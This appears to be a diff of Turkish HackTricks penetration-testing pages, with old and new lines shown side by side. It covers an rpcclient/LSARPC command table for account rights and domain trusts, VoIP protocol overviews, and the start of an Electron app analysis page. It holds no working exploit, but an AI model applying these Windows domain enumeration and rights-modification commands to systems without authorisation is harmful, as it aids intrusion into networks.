| lsaaddacctrights | Bir kullanıcı hesabına hak ekle | | | lsaaddacctrights | Bir kullanıcı hesabına hak ekle | |
| lsaremoveacctrights | Bir kullanıcı hesabından hakları kaldır | | | lsaremoveacctrights | Bir kullanıcı hesabından hak kaldır | |
| dsroledominfo | LSARPC-DS | Ana alan bilgilerini al | | dsroledominfo | LSARPC-DS | Birincil alan bilgilerini al |
| dsenumdomtrusts | Bir AD ormanı içindeki güvenilen alanları listele | | | dsenumdomtrusts | Bir AD ormanı içindeki güvenilen alanları listele | |
_**samrdump**_ **ve** _**rpcdump**_ araçlarının nasıl çalıştığını daha iyi **anlamak** için [**Pentesting MSRPC**](../135-pentesting-msrpc.md) okuyun. _**samrdump**_ **ve** _**rpcdump**_ araçlarının nasıl çalıştığını daha iyi **anlamak** için [**Pentesting MSRPC**](../135-pentesting-msrpc.md) belgesini okumalısınız.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -119,7 +105,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -16,20 +16,6 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
{% endhint %} {% endhint %}
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **zararlı yazılımlar** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan bir **karanlık ağ** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan zararlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Sinyal Protokolleri ## Sinyal Protokolleri
### SIP (Oturum Başlatma Protokolü) ### SIP (Oturum Başlatma Protokolü)
@ -45,16 +31,16 @@ Bu, endüstri standardıdır, daha fazla bilgi için kontrol edin:
MGCP (Medya Geçidi Kontrol Protokolü), RFC 3435'te belirtilen bir **sinyal** ve **arama** **kontrol protokolüdür**. Merkezi bir mimaride çalışır ve üç ana bileşenden oluşur: MGCP (Medya Geçidi Kontrol Protokolü), RFC 3435'te belirtilen bir **sinyal** ve **arama** **kontrol protokolüdür**. Merkezi bir mimaride çalışır ve üç ana bileşenden oluşur:
1. **Arama Ajanı veya Medya Geçidi Kontrolörü (MGC)**: MGCP mimarisindeki ana geçit, **medya geçitlerini yönetmek ve kontrol etmekten** sorumludur. Arama kurulum, değiştirme ve sonlandırma süreçlerini yönetir. MGC, medya geçitleriyle MGCP protokolü kullanarak iletişim kurar. 1. **Arama Ajanı veya Medya Geçidi Kontrolörü (MGC)**: MGCP mimarisindeki ana geçit, **medya geçitlerini yönetmek ve kontrol etmekten** sorumludur. Arama kurulum, değiştirme ve sonlandırma süreçlerini yönetir. MGC, medya geçitleriyle MGCP protokolü kullanarak iletişim kurar.
2. **Medya Geçitleri (MG'ler) veya Köle Geçitler**: Bu cihazlar, geleneksel devre anahtarlamalı telefon ile paket anahtarlamalı IP ağları gibi farklı ağlar arasında **dijital medya akışlarını dönüştürür**. MGC tarafından yönetilir ve ondan gelen komutları yerine getirir. Medya geçitleri, transkodlama, paketleme ve yankı iptali gibi işlevleri içerebilir. 2. **Medya Geçitleri (MG'ler) veya Köle Geçitler**: Bu cihazlar, **farklı ağlar arasında dijital medya akışlarını dönüştürür**, örneğin geleneksel devre anahtarlamalı telefon ile paket anahtarlamalı IP ağları arasında. MGC tarafından yönetilirler ve ondan aldıkları komutları yerine getirirler. Medya geçitleri, transkodlama, paketleme ve yankı iptali gibi işlevleri içerebilir.
3. **Sinyal Geçitleri (SG'ler)**: Bu geçitler, farklı ağlar arasında **sinyal mesajlarını dönüştürmekten** sorumludur ve geleneksel telefon sistemleri (örneğin, SS7) ile IP tabanlı ağlar (örneğin, SIP veya H.323) arasında kesintisiz iletişim sağlar. Sinyal geçitleri, birlikte çalışabilirlik için kritik öneme sahiptir ve arama kontrol bilgilerini farklı ağlar arasında doğru bir şekilde iletmeyi sağlar. 3. **Sinyal Geçitleri (SG'ler)**: Bu geçitler, **farklı ağlar arasında sinyal mesajlarını dönüştürmekten** sorumludur ve geleneksel telefon sistemleri (örneğin, SS7) ile IP tabanlı ağlar (örneğin, SIP veya H.323) arasında kesintisiz iletişim sağlar. Sinyal geçitleri, birlikte çalışabilirlik için kritik öneme sahiptir ve arama kontrol bilgilerini farklı ağlar arasında doğru bir şekilde iletmeyi sağlar.
Özetle, MGCP, arama kontrol mantığını arama ajanında merkezileştirir, bu da medya ve sinyal geçitlerinin yönetimini basitleştirir ve telekomünikasyon ağlarında daha iyi ölçeklenebilirlik, güvenilirlik ve verimlilik sağlar. Özetle, MGCP, arama kontrol mantığını arama ajanında merkezileştirir, bu da medya ve sinyal geçitlerinin yönetimini basitleştirir ve telekomünikasyon ağlarında daha iyi ölçeklenebilirlik, güvenilirlik ve verimlilik sağlar.
### SCCP (Skinny Client Kontrol Protokolü) ### SCCP (Skinny Client Control Protocol)
Skinny Client Kontrol Protokolü (SCCP), Cisco Systems'a ait bir **mülkiyet sinyal ve arama kontrol protokolüdür**. Temelde **Cisco Unified Communications Manager** (eski adıyla CallManager) ile Cisco IP telefonları veya diğer Cisco ses ve video uç noktaları arasındaki iletişim için **kullanılır**. Skinny Client Control Protocol (SCCP), Cisco Systems'a ait bir **mülkiyet sinyal ve arama kontrol protokolüdür**. Temelde **Cisco Unified Communications Manager** (eski adıyla CallManager) ile Cisco IP telefonları veya diğer Cisco ses ve video uç noktaları arasında iletişim için **kullanılır**.
SCCP, arama kontrol sunucusu ile uç nokta cihazları arasındaki iletişimi basitleştiren hafif bir protokoldür. "Skinny" olarak adlandırılmasının nedeni, minimal tasarımı ve H.323 veya SIP gibi diğer VoIP protokollerine kıyasla azaltılmış bant genişliği gereksinimleridir. SCCP, arama kontrol sunucusu ile uç nokta cihazları arasındaki iletişimi basitleştiren hafif bir protokoldür. "Skinny" olarak adlandırılmasının nedeni, diğer VoIP protokollerine (örneğin, H.323 veya SIP) kıyasla minimal tasarımı ve azaltılmış bant genişliği gereksinimleridir.
SCCP tabanlı bir sistemin ana bileşenleri şunlardır: SCCP tabanlı bir sistemin ana bileşenleri şunlardır:
@ -62,24 +48,24 @@ SCCP tabanlı bir sistemin ana bileşenleri şunlardır:
2. **SCCP Uç Noktaları**: Bu, IP telefonları, video konferans birimleri veya SCCP'yi kullanarak arama kontrol sunucusu ile iletişim kuran diğer Cisco ses ve video uç noktaları gibi cihazlardır. Sunucuya kaydolurlar, sinyal mesajları gönderir ve alır ve arama kontrol sunucusunun sağladığı talimatlara uyarlar. 2. **SCCP Uç Noktaları**: Bu, IP telefonları, video konferans birimleri veya SCCP'yi kullanarak arama kontrol sunucusu ile iletişim kuran diğer Cisco ses ve video uç noktaları gibi cihazlardır. Sunucuya kaydolurlar, sinyal mesajları gönderir ve alır ve arama kontrol sunucusunun sağladığı talimatlara uyarlar.
3. **Geçitler**: Bu cihazlar, ses geçitleri veya medya geçitleri gibi, geleneksel devre anahtarlamalı telefon ile paket anahtarlamalı IP ağları arasında medya akışlarını dönüştürmekten sorumludur. Ayrıca transkodlama veya yankı iptali gibi ek işlevsellikler de içerebilir. 3. **Geçitler**: Bu cihazlar, ses geçitleri veya medya geçitleri gibi, geleneksel devre anahtarlamalı telefon ile paket anahtarlamalı IP ağları arasında medya akışlarını dönüştürmekten sorumludur. Ayrıca transkodlama veya yankı iptali gibi ek işlevsellikler de içerebilir.
SCCP, Cisco arama kontrol sunucuları ile uç nokta cihazları arasında basit ve verimli bir iletişim yöntemi sunar. Ancak, **SCCP bir mülkiyet protokolüdür**, bu da Cisco dışı sistemlerle birlikte çalışabilirliği sınırlayabilir. Bu tür durumlarda, SIP gibi diğer standart VoIP protokolleri daha uygun olabilir. SCCP, Cisco arama kontrol sunucuları ile uç nokta cihazları arasında basit ve verimli bir iletişim yöntemi sunar. Ancak, **SCCP bir mülkiyet protokolüdür**, bu da Cisco dışı sistemlerle birlikte çalışabilirliği sınırlayabilir. Bu tür durumlarda, diğer standart VoIP protokolleri, örneğin SIP, daha uygun olabilir.
### H.323 ### H.323
H.323, IP tabanlı ağlar gibi paket anahtarlamalı ağlar üzerinden ses, video ve veri konferansı dahil olmak üzere çoklu ortam iletişimi için bir **protokol setidir**. **Uluslararası Telekomünikasyon Birliği** (ITU-T) tarafından geliştirilmiştir ve çoklu ortam iletişim oturumlarını yönetmek için kapsamlı bir çerçeve sağlar. H.323, **ses, video ve veri konferansı** gibi çoklu ortam iletişimi için bir **protokol setidir**, IP tabanlı ağlar gibi paket anahtarlamalı ağlar üzerinden. **Uluslararası Telekomünikasyon Birliği** (ITU-T) tarafından geliştirilmiştir ve çoklu ortam iletişim oturumlarını yönetmek için kapsamlı bir çerçeve sağlar.
H.323 setinin bazı ana bileşenleri şunlardır: H.323 setinin bazı ana bileşenleri şunlardır:
1. **Terminaller**: H.323'ü destekleyen ve çoklu ortam iletişim oturumlarına katılabilen IP telefonları, video konferans sistemleri veya yazılım uygulamaları gibi uç nokta cihazlarıdır. 1. **Terminal**: H.323'ü destekleyen ve çoklu ortam iletişim oturumlarına katılabilen IP telefonları, video konferans sistemleri veya yazılım uygulamaları gibi uç nokta cihazlarıdır.
2. **Geçitler**: Bu cihazlar, geleneksel devre anahtarlamalı telefon ile paket anahtarlamalı IP ağları arasında medya akışlarını dönüştürerek H.323 ile diğer iletişim sistemleri arasında birlikte çalışabilirliği sağlar. Ayrıca transkodlama veya yankı iptali gibi ek işlevsellikler de içerebilir. 2. **Geçitler**: Bu cihazlar, geleneksel devre anahtarlamalı telefon ile paket anahtarlamalı IP ağları arasında medya akışlarını dönüştürerek H.323 ile diğer iletişim sistemleri arasında birlikte çalışabilirliği sağlar. Ayrıca transkodlama veya yankı iptali gibi ek işlevsellikler de içerebilir.
3. **Gatekeepers**: Bunlar, H.323 ağında arama kontrolü ve yönetim hizmetleri sağlayan isteğe bağlı bileşenlerdir. Adres çevirisi, bant genişliği yönetimi ve kabul kontrolü gibi işlevleri yerine getirerek ağ kaynaklarını yönetmeye ve optimize etmeye yardımcı olurlar. 3. **Gatekeeper'lar**: H.323 ağında arama kontrolü ve yönetim hizmetleri sağlayan isteğe bağlı bileşenlerdir. Adres çevirisi, bant genişliği yönetimi ve kabul kontrolü gibi işlevleri yerine getirir, ağ kaynaklarını yönetmeye ve optimize etmeye yardımcı olur.
4. **Çok Noktalı Kontrol Birimleri (MCU'lar)**: Bu cihazlar, birden fazla uç noktadan gelen medya akışlarını yöneterek ve karıştırarak çok noktalı konferansları kolaylaştırır. MCU'lar, video düzeni kontrolü, sesle etkinleştirilmiş geçiş ve sürekli varlık gibi özellikleri mümkün kılarak çok sayıda katılımcıyla büyük ölçekli konferanslar düzenlemeyi sağlar. 4. **Çok Noktalı Kontrol Birimleri (MCU'lar)**: Bu cihazlar, birden fazla uç noktadan gelen medya akışlarını yöneterek ve karıştırarak çok noktalı konferansları kolaylaştırır. MCU'lar, video düzeni kontrolü, sesle etkinleştirilmiş geçiş ve sürekli varlık gibi özellikleri mümkün kılarak çok sayıda katılımcıyla büyük ölçekli konferanslar düzenlemeyi sağlar.
H.323, ses ve video kodekleri ile arama yönlendirme, arama transferi, arama bekletme ve arama bekleme gibi diğer ek hizmetleri destekler. VoIP'in ilk günlerinde yaygın olarak benimsenmesine rağmen, H.323, daha iyi birlikte çalışabilirlik ve daha kolay uygulama sunan **Oturum Başlatma Protokolü (SIP)** gibi daha modern ve esnek protokollerle yavaş yavaş yer değiştirmiştir. Ancak, H.323 birçok eski sistemde kullanılmaya devam etmekte ve çeşitli ekipman satıcıları tarafından desteklenmektedir. H.323, ses ve video kodekleri ile arama yönlendirme, arama transferi, arama bekletme ve arama bekleme gibi diğer ek hizmetleri destekler. VoIP'in ilk günlerinde yaygın olarak benimsenmesine rağmen, H.323, daha iyi birlikte çalışabilirlik ve daha kolay uygulama sunan **Oturum Başlatma Protokolü (SIP)** gibi daha modern ve esnek protokollerle yavaş yavaş yer değiştirmiştir. Ancak, H.323 birçok eski sistemde kullanılmaya devam etmekte ve çeşitli ekipman satıcıları tarafından desteklenmektedir.
### IAX (Inter Asterisk eXchange) ### IAX (Inter Asterisk eXchange)
IAX (Inter-Asterisk eXchange), esasen Asterisk PBX (Özel Santral) sunucuları ile diğer VoIP cihazları arasındaki iletişim için kullanılan bir **sinyal ve arama kontrol protokolüdür**. Asterisk açık kaynaklı PBX yazılımının yaratıcısı Mark Spencer tarafından, SIP ve H.323 gibi diğer VoIP protokollerine alternatif olarak geliştirilmiştir. IAX (Inter-Asterisk eXchange), esasen Asterisk PBX (Özel Santral) sunucuları ile diğer VoIP cihazları arasında iletişim için kullanılan bir **sinyal ve arama kontrol protokolüdür**. Asterisk açık kaynaklı PBX yazılımının yaratıcısı Mark Spencer tarafından, SIP ve H.323 gibi diğer VoIP protokollerine alternatif olarak geliştirilmiştir.
IAX, **basitliği, verimliliği ve uygulanabilirliği** ile bilinir. IAX'ın bazı ana özellikleri şunlardır: IAX, **basitliği, verimliliği ve uygulanabilirliği** ile bilinir. IAX'ın bazı ana özellikleri şunlardır:
@ -89,7 +75,7 @@ IAX, **basitliği, verimliliği ve uygulanabilirliği** ile bilinir. IAX'ın baz
4. **Yerel Şifreleme**: IAX, uç noktalar arasında güvenli iletişim sağlamak için RSA gibi anahtar değişim yöntemleri ve AES gibi medya şifreleme yöntemleri kullanarak yerleşik şifreleme desteğine sahiptir. 4. **Yerel Şifreleme**: IAX, uç noktalar arasında güvenli iletişim sağlamak için RSA gibi anahtar değişim yöntemleri ve AES gibi medya şifreleme yöntemleri kullanarak yerleşik şifreleme desteğine sahiptir.
5. **Eşler Arası İletişim**: IAX, merkezi bir sunucuya ihtiyaç duymadan uç noktalar arasında doğrudan iletişim için kullanılabilir, bu da daha basit ve verimli arama yönlendirmeyi sağlar. 5. **Eşler Arası İletişim**: IAX, merkezi bir sunucuya ihtiyaç duymadan uç noktalar arasında doğrudan iletişim için kullanılabilir, bu da daha basit ve verimli arama yönlendirmeyi sağlar.
Faydalarına rağmen, IAX'ın bazı sınırlamaları vardır; bunlar arasında Asterisk ekosistemine odaklanması ve SIP gibi daha yerleşik protokollere kıyasla daha az yaygın benimsenmesi bulunmaktadır. Bu nedenle, IAX, Asterisk dışı sistemlerle veya cihazlarla birlikte çalışabilirlik için en iyi seçim olmayabilir. Ancak, Asterisk ortamında çalışanlar için IAX, VoIP iletişimi için sağlam ve verimli bir çözüm sunar. Faydalarına rağmen, IAX'ın bazı sınırlamaları vardır; bunlar arasında ana odak noktasının Asterisk ekosistemi olması ve SIP gibi daha köklü protokollere kıyasla daha az yaygın benimsenmesidir. Bu nedenle, IAX, Asterisk dışı sistemler veya cihazlarla birlikte çalışabilirlik için en iyi seçim olmayabilir. Ancak, Asterisk ortamında çalışanlar için, IAX VoIP iletişimi için sağlam ve verimli bir çözüm sunar.
## İletim ve Taşıma Protokolleri ## İletim ve Taşıma Protokolleri
@ -100,36 +86,41 @@ SDP (Oturum Tanım Protokolü), IP ağları üzerinden ses, video veya veri konf
SDP'nin bazı ana bileşenleri şunlardır: SDP'nin bazı ana bileşenleri şunlardır:
1. **Oturum Bilgileri**: SDP, bir çoklu ortam oturumunun ayrıntılarını, oturum adı, oturum açıklaması, başlangıç zamanı ve bitiş zamanı gibi bilgileri tanımlar. 1. **Oturum Bilgileri**: SDP, bir çoklu ortam oturumunun ayrıntılarını, oturum adı, oturum açıklaması, başlangıç zamanı ve bitiş zamanı gibi bilgileri tanımlar.
2. **Medya Akışları**: SDP, medya akışlarının özelliklerini tanımlar; medya türü (ses, video veya metin), taşıma protokolü (örneğin, RTP veya SRTP) ve medya formatı (örneğin, kodek bilgisi) gibi. 2. **Medya Akışları**: SDP, medya akışlarının özelliklerini tanımlar, örneğin medya türü (ses, video veya metin), taşıma protokolü (örneğin, RTP veya SRTP) ve medya formatı (örneğin, kodek bilgisi).
3. **Bağlantı Bilgileri**: SDP, medyanın gönderileceği veya alınacağı ağ adresi (IP adresi) ve port numarası hakkında bilgi sağlar. 3. **Bağlantı Bilgileri**: SDP, medyanın gönderileceği veya alınacağı ağ adresi (IP adresi) ve port numarası hakkında bilgi sağlar.
4. **Özellikler**: SDP, bir oturum veya medya akışı hakkında ek, isteğe bağlı bilgi sağlamak için özelliklerin kullanılmasını destekler. Özellikler, şifreleme anahtarları, bant genişliği gereksinimleri veya medya kontrol mekanizmaları gibi çeşitli özelliklerin belirtilmesi için kullanılabilir. 4. **Özellikler**: SDP, bir oturum veya medya akışı hakkında ek, isteğe bağlı bilgi sağlamak için özelliklerin kullanılmasını destekler. Özellikler, şifreleme anahtarları, bant genişliği gereksinimleri veya medya kontrol mekanizmaları gibi çeşitli özellikleri belirtmek için kullanılabilir.
SDP genellikle aşağıdaki süreçte kullanılır: SDP genellikle aşağıdaki süreçte kullanılır:
1. Başlatan taraf, önerilen çoklu ortam oturumunun SDP tanımını oluşturur ve medya akışlarının ayrıntılarını ve özelliklerini içerir. 1. Başlatan taraf, önerilen çoklu ortam oturumunun SDP tanımını oluşturur ve medya akışlarının ayrıntılarını ve özelliklerini içerir.
2. SDP tanımı, genellikle SIP veya RTSP gibi bir sinyal protokolü mesajı içinde alıcı tarafa gönderilir. 2. SDP tanımı, genellikle SIP veya RTSP gibi bir sinyal protokolü mesajı içinde alıcı tarafa gönderilir.
3. Alıcı taraf, SDP tanımını işler ve yeteneklerine bağlı olarak önerilen oturumu kabul edebilir, reddedebilir veya değiştirebilir. 3. Alıcı taraf, SDP tanımını işler ve yeteneklerine bağlı olarak önerilen oturumu kabul edebilir, reddedebilir veya değiştirebilir.
4. Nihai SDP tanımı, müzakere sürecini tamamlamak için sinyal protokolü mesajının bir parçası olarak başlatan tarafa geri gönderilir. 4. Nihai SDP tanımı, sinyal protokolü mesajının bir parçası olarak başlatan tarafa geri gönderilir ve müzakere süreci tamamlanır.
SDP'nin basitliği ve esnekliği, çeşitli iletişim sistemlerinde çoklu ortam oturumlarını tanımlamak için yaygın olarak benimsenen bir standart olmasını sağlar ve IP ağları üzerinden gerçek zamanlı çoklu ortam oturumlarının kurulması ve yönetilmesinde kritik bir rol oynar. SDP'nin basitliği ve esnekliği, çeşitli iletişim sistemlerinde çoklu ortam oturumlarını tanımlamak için yaygın olarak benimsenen bir standart olmasını sağlar ve IP ağları üzerinden gerçek zamanlı çoklu ortam oturumlarını kurma ve yönetmede kritik bir rol oynar.
### RTP / RTCP / SRTP / ZRTP ### RTP / RTCP / SRTP / ZRTP
1. **RTP (Gerçek Zamanlı Taşıma Protokolü)**: RTP, IP ağları üzerinden ses ve video verileri veya diğer gerçek zamanlı medyaların iletimi için tasarlanmış bir ağ protokolüdür. **IETF** tarafından geliştirilmiş ve **RFC 3550**'de tanımlanmıştır. RTP, genellikle SIP ve H.323 gibi sinyal protokolleri ile birlikte çoklu ortam iletişimini sağlamak için kullanılır. RTP, medya akışlarının **senkronizasyonu**, **sıralaması** ve **zaman damgalaması** için mekanizmalar sağlar ve medya oynatımının düzgün ve zamanında olmasına yardımcı olur. 1. **RTP (Gerçek Zamanlı Taşıma Protokolü)**: RTP, IP ağları üzerinden ses ve video verileri veya diğer gerçek zamanlı medyaların iletimi için tasarlanmış bir ağ protokolüdür. **IETF** tarafından geliştirilmiş ve **RFC 3550**'de tanımlanmıştır, RTP genellikle SIP ve H.323 gibi sinyal protokolleri ile birlikte çoklu ortam iletişimini sağlamak için kullanılır. RTP, medya akışlarının **senkronizasyonu**, **sıralaması** ve **zaman damgalaması** için mekanizmalar sağlar ve medya oynatımının düzgün ve zamanında olmasına yardımcı olur.
2. **RTCP (Gerçek Zamanlı Taşıma Kontrol Protokolü)**: RTCP, RTP'nin bir eşlik protokolüdür ve medya akışlarının iletim kalitesini izlemek ve geri bildirim sağlamak için kullanılır. RTP ile aynı **RFC 3550**'de tanımlanmıştır ve RTCP, **RTP oturumundaki katılımcılar arasında kontrol paketlerini periyodik olarak değiştirir**. Paket kaybı, jitter ve gidiş-dönüş süresi gibi bilgileri paylaşarak ağ koşullarını teşhis etmeye ve uyum sağlamaya yardımcı olur, genel medya kalitesini iyileştirir. 2. **RTCP (Gerçek Zamanlı Taşıma Kontrol Protokolü)**: RTCP, RTP'nin eşlik eden bir protokolüdür ve medya akışlarının iletim kalitesini (QoS) izlemek ve geri bildirim sağlamak için kullanılır. RTP ile aynı **RFC 3550**'de tanımlanmıştır, RTCP **RTP oturumundaki katılımcılar arasında kontrol paketlerini periyodik olarak değiştirir**. Paket kaybı, jitter ve gidiş-dönüş süresi gibi bilgileri paylaşır, bu da ağ koşullarını teşhis etmeye ve uyum sağlamaya yardımcı olur, genel medya kalitesini iyileştirir.
3. **SRTP (Güvenli Gerçek Zamanlı Taşıma Protokolü)**: SRTP, medya akışları için **şifreleme**, **mesaj kimlik doğrulaması** ve **tekrar koruma** sağlayan RTP'nin bir uzantısıdır ve hassas ses ve video verilerinin güvenli iletimini sağlar. **RFC 3711**'de tanımlanmış olan SRTP, şifreleme için AES gibi kriptografik algoritmalar ve mesaj kimlik doğrulaması için HMAC-SHA1 kullanır. SRTP, çoklu ortam iletişiminde uçtan uca güvenlik sağlamak için genellikle TLS üzerinden SIP gibi güvenli sinyal protokolleri ile birlikte kullanılır. 3. **SRTP (Güvenli Gerçek Zamanlı Taşıma Protokolü)**: SRTP, medya akışları için **şifreleme**, **mesaj kimlik doğrulaması** ve **tekrar koruma** sağlayan RTP'nin bir uzantısıdır ve hassas ses ve video verilerinin güvenli iletimini sağlar. **RFC 3711**'de tanımlanmıştır, SRTP, şifreleme için AES gibi kriptografik algoritmalar ve mesaj kimlik doğrulaması için HMAC-SHA1 kullanır. SRTP, çoklu ortam iletişiminde uçtan uca güvenlik sağlamak için genellikle TLS üzerinden SIP gibi güvenli sinyal protokolleri ile birlikte kullanılır.
4. **ZRTP (Zimmermann Gerçek Zamanlı Taşıma Protokolü)**: ZRTP, RTP medya akışları için **uçtan uca şifreleme** sağlayan bir kriptografik anahtar anlaşma protokolüdür. PGP'nin yaratıcısı Phil Zimmermann tarafından geliştirilmiştir ve **RFC 6189**'da tanımlanmıştır. SRTP'nın anahtar değişimi için sinyal protokollerine bağımlı olmasının aksine, ZRTP, sinyal protokolünden bağımsız çalışacak şekilde tasarlanmıştır. İletişim tarafları arasında önceden güven veya bir kamu anahtar altyapısı (PKI) gerektirmeden paylaşılan bir gizli anahtar oluşturmak için **Diffie-Hellman anahtar değişimi** kullanır. ZRTP ayrıca, man-in-the-middle saldırılarına karşı koruma sağlamak için **Kısa Kimlik Doğrulama Dizeleri (SAS)** gibi özellikler içerir. 4. **ZRTP (Zimmermann Gerçek Zamanlı Taşıma Protokolü)**: ZRTP, RTP medya akışları için **uçtan uca şifreleme** sağlayan bir kriptografik anahtar anlaşma protokolüdür. PGP'nin yaratıcısı Phil Zimmermann tarafından geliştirilmiştir ve **RFC 6189**'da tanımlanmıştır. SRTP'nın anahtar değişimi için sinyal protokollerine bağımlı olmasının aksine, ZRTP, sinyal protokolünden bağımsız çalışacak şekilde tasarlanmıştır. **Diffie-Hellman anahtar değişimi** kullanarak iletişimde bulunan taraflar arasında önceden güven veya bir kamu anahtar altyapısı (PKI) gerektirmeden paylaşılan bir gizli anahtar oluşturur. ZRTP ayrıca, adam ortada saldırılarına karşı koruma sağlamak için **Kısa Kimlik Doğrulama Dizeleri (SAS)** gibi özellikler içerir.
Bu protokoller, **IP ağları üzerinden gerçek zamanlı çoklu ortam iletişimini iletme ve güvence altına alma** konusunda önemli roller oynar. RTP ve RTCP, gerçek medya iletimini ve kalite izlemeyi yönetirken, SRTP ve ZRTP, iletilen medyanın dinleme, değiştirme ve tekrar saldırılarına karşı korunmasını sağlar. Bu protokoller, **IP ağları üzerinden gerçek zamanlı çoklu ortam iletişimini sağlamak ve güvence altına almak** için temel roller üstlenir. RTP ve RTCP, gerçek medya iletimini ve kalite izlemeyi yönetirken, SRTP ve ZRTP, iletilen medyanın dinleme, değiştirme ve tekrar saldırılarına karşı korunmasını sağlar.
### [WhiteIntel](https://whiteintel.io) {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <details>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **zararlı yazılımlar** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan bir **karanlık ağ** destekli arama motorudur. <summary>HackTricks'i Destekleyin</summary>
WhiteIntel'in ana hedefi, bilgi çalan zararlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: </details>
{% endhint %}
{% embed url="https://whiteintel.io" %} </details>
{% endhint %}

View file

@ -15,25 +15,12 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Giriş ## Giriş
Electron, yerel bir arka uç (**NodeJS**) ve bir ön uç (**Chromium**) birleştirir, ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur. Electron, yerel bir arka uç (**NodeJS**) ve bir ön uç (**Chromium**) birleştirir, ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
Genellikle, electron uygulama kodunu bir `.asar` uygulaması içinde bulabilirsiniz, kodu elde etmek için onu çıkarmanız gerekir: Genellikle electron uygulama kodunu bir `.asar` uygulaması içinde bulabilirsiniz, kodu elde etmek için onu çıkarmanız gerekir:
```bash ```bash
npx asar extract app.asar destfolder #Extract everything npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file npx asar extract-file app.asar main.js #Extract just a file
@ -46,7 +33,7 @@ Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapıla
``` ```
Electron'ın 2 işlem türü vardır: Electron'ın 2 işlem türü vardır:
